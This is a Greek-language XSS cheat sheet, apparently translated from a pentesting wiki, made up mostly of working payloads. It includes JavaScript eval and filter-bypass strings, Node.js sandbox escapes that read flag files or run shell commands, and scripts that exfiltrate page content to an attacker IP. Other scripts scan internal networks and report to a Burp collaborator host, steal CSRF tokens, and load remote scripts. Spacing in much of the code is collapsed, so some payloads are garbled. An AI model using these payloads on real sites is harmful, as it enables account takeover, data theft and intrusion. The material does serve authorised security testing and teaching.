//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
Ευπάθειες DOM
Υπάρχει κώδικας JS που χρησιμοποιεί δεδομένα που ελέγχεται μη ασφαλώς από επιτιθέμενο όπως το location.href. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.
Λόγω της επέκτασης της εξήγησης τωνευπαθειών DOM μεταφέρθηκε σε αυτήν τη σελίδα:
Εκεί θα βρείτε μια λεπτομερή εξήγηση του τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς μπορούν να εκμεταλλευτούν.
Επίσης, μην ξεχνάτε ότι στο τέλος της αναφερόμενης ανάρτησης μπορείτε να βρείτε μια εξήγηση σχετικά με τις επιθέσεις DOM Clobbering.
Άλλες Παρακάμψεις
Κανονικοποιημένο Unicode
Μπορείτε να ελέγξετε αν τα αντανακλαστικά τιμές υποβάλλονται σε κανονικοποίηση Unicode στον εξυπηρετητή (ή στην πλευρά του πελάτη) και να εκμεταλλευτείτε αυτήν τη λειτουργικότητα για να παρακάμψετε προστασίες. Βρείτε ένα παράδειγμα εδώ.
Παράκαμψη σημαίας PHP FILTER_VALIDATE_EMAIL
"><svg/onload=confirm(1)>"@x.y
Διαπραγμάτευση Ruby-On-Rails
Λόγω των RoR μαζικών εκχωρήσεων οι εισαγωγικοί χαρακτήρες εισάγονται στο HTML και στη συνέχεια η περιοριστική παράμετρος παρακάμπτεται και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.
Παράδειγμα φόρμας (από αυτήν την αναφορά), αν στείλετε το φορτίο:
Εάν ανακαλύψετε ότι μπορείτε να εισάγετε κεφαλίδες σε μια απάντηση 302 Ανακατεύθυνσης, μπορείτε να προσπαθήσετε να κάνετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript. Αυτό δεν είναι απλό καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απάντησης HTTP εάν ο κωδικός κατάστασης της απάντησης HTTP είναι 302, οπότε μόνο μια φόρτωση cross-site scripting είναι άχρηστη.
Σε αυτήν την αναφορά και αυτήν μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε αρκετούς πρωτόκολλους μέσα στην κεφαλίδα Τοποθεσίας και να δείτε αν κάποιος από αυτούς επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει τη φόρτωση XSS μέσα στο σώμα.
Γνωστοί πρωτόκολλοι: mailto://, //x:1/, ws://, wss://, κενή κεφαλίδα Τοποθεσίας, resource://.
Μόνο Γράμματα, Αριθμοί και Τελείες
Εάν μπορείτε να υποδείξετε το κλήση που το javascript θα εκτελέσει περιορισμένο σε αυτούς τους χαρακτήρες. Διαβάστε αυτήν την ενότητα αυτής της ανάρτησης για να βρείτε πώς να εκμεταλλευτείτε αυτήν τη συμπεριφορά.
Έγκυροι Τύποι Περιεχομένου <script> για XSS
(Από εδώ) Εάν προσπαθήσετε να φορτώσετε ένα script με έναν τύπο περιεχομένου όπως application/octet-stream, το Chrome θα εμφανίσει το ακόλουθο σφάλμα:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
(Από εδώ) Λοιπόν, ποιοι τύποι μπορούν να υποδειχθούν για τη φόρτωση ενός σεναρίου;
<scripttype="???"></script>
Η απάντηση είναι:
module (προεπιλεγμένο, δεν χρειάζεται εξήγηση)
webbundle: Τα Web Bundles είναι μια λειτουργία με την οποία μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS...) μαζί σε ένα αρχείο .wbn.
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
importmap: Επιτρέπει τη βελτίωση της σύνταξης εισαγωγής
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
Αυτή η συμπεριφορά χρησιμοποιήθηκε στο συγκεκριμένο άρθρο για την ανακατεύθυνση μιας βιβλιοθήκης στο eval για να την καταχραστεί και να ενεργοποιήσει XSS.
speculationrules: Αυτό το χαρακτηριστικό είναι κυρίως για την επίλυση ορισμένων προβλημάτων που προκαλούνται από το προ-αποτύπωμα. Δουλεύει με τον εξής τρόπο:
Εάν η σελίδα επιστρέφει έναν τύπο περιεχομένου text/xml, είναι δυνατή η καθορισμός ενός namespace και η εκτέλεση αυθαίρετου JS:
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Ειδικά Πρότυπα Αντικατάστασης
Όταν χρησιμοποιείται κάτι σαν "some {{template}} data".replace("{{template}}", <user_input>). Ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει ειδικές αντικαταστάσεις συμβόλων για να προσπαθήσει να παρακάμψει κάποιες προστασίες: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Για παράδειγμα σε αυτό το άρθρο, αυτό χρησιμοποιήθηκε για να αποδράσει μια συμβολοσειρά JSON μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα.
Αν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων προς χρήση, ελέγξτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Εάν τα πάντα είναι απροσδιόριστα πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε αυτήν την ανάλυση) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να καταχραστεί η εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
Χρησιμοποιώντας import()
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
Πρόσβαση στο require έμμεσα
Σύμφωνα με αυτό τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτό:
Επομένως, αν από αυτή τη μονάδα μπορούμε να καλέσουμε μια άλλη συνάρτηση, είναι δυνατόν να χρησιμοποιήσουμε το arguments.callee.caller.arguments[1] από αυτή τη συνάρτηση για να έχουμε πρόσβαση στο require:
Με έναν παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να χρησιμοποιήσετε τους χειριστές σφαλμάτων για να έχετε πρόσβαση στο περιτύλιγμα του module και να λάβετε τη συνάρτηση require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Δεν θα μπορέσετε να έχετε πρόσβαση στα cookies από το JavaScript αν η σημαία HTTPOnly είναι ενεργοποιημένη στο cookie. Αλλά εδώ έχετε μερικούς τρόπους να παρακάμψετε αυτήν την προστασία αν είστε αρκετά τυχεροί.
Κλοπή περιεχομένου σελίδας
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Εύρεση εσωτερικών διευθύνσεων IP
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Μπορείτε επίσης να χρησιμοποιήσετε το metasploit http_javascript_keylogger
Κλοπή διακριτικών CSRF
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Πρόσβαση Κρυφού Περιεχομένου
Από αυτή την ανάλυση είναι δυνατόν να μάθουμε ότι ακόμα κι αν μερικές τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατόν να τις βρούμε σε γνωρίσματα JS σε διαφορετικά αντικείμενα. Για παράδειγμα, ένα input ενός REGEX είναι ακόμα δυνατόν να το βρούμε αφού η τιμή του input του regex αφαιρεθεί:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Καταφέρατε XSS σε μια ιστοσελίδα που χρησιμοποιεί caching; Δοκιμάστε να το αναβαθμίσετε σε SSRF μέσω της εισαγωγής Edge Side Include με αυτό το payload:
<esi:include src="http://yoursite.com/capture" />
Χρησιμοποιήστε το για να παρακάμψετε περιορισμούς cookie, φίλτρα XSS και πολλά άλλα!
Περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική εδώ: XSLT.
XSS σε δυναμικά δημιουργημένα PDF
Αν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο ελέγχου από τον χρήστη, μπορείτε να εξαπατήσετε το bot που δημιουργεί το PDF να εκτελέσει αυθαίρετο κώδικα JS.
Έτσι, αν το bot δημιουργού PDF βρει κάποια είδους ετικέτες HTML, θα τις ερμηνεύσει, και μπορείτε να καταχραστείτε αυτήν τη συμπεριφορά για να προκαλέσετε ένα Server XSS.
Το AMP, με στόχο την επιτάχυνση της απόδοσης της ιστοσελίδας σε κινητές συσκευές, ενσωματώνει ετικέτες HTML που συμπληρώνονται από JavaScript για να διασφαλίσει λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά στοιχείων για διάφορα χαρακτηριστικά, προσβάσιμα μέσω στοιχείων AMP.
Η μορφή AMP για Email επεκτείνει συγκεκριμένα στοιχεία AMP σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους.